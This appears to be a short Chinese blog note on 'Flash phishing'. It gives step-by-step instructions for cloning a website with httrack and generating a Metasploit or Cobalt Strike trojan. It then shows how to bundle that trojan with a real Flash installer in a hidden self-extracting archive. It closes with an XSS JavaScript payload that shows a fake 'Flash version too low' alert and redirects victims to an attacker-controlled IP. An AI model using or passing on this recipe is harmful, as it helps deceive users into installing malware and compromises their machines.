Flash 钓鱼

水一篇☔️

1. 安装完整页面爬取工具

# kali
apt-get install httrack
# yum install httrack –y

2. 运行httrack，爬取需要爬取的页面，按提示填写
3. 去比对官网页面修改不一样的地方，使首页和目标一样
4. 下载flash正常exe，生成相应木马如msf/cs等
5. 制作合成木马
   1. 将两个木马放在同一个目录下
   2. 填写以exe结尾的文件名
   3. 点高级，进入自解压，填写解压绝对路径
   4. 填写解压后的两个文件名
   5. 选择全部隐藏
   6. 

flash结合xss

window.alert = function(name){
var iframe = document.createElement("IFRAME");
iframe.style.display="none";
iframe.setAttribute("src",'data:text/plain,');
document.documentElement.appendChild(iframe);
window.frames[0].window.alert(name);
iframe.parentNode.removeChild(iframe);
}
alert("您的FLASH版本过低，尝试升级后访问该页面! ");
window.location.href="http://192.168.0.110";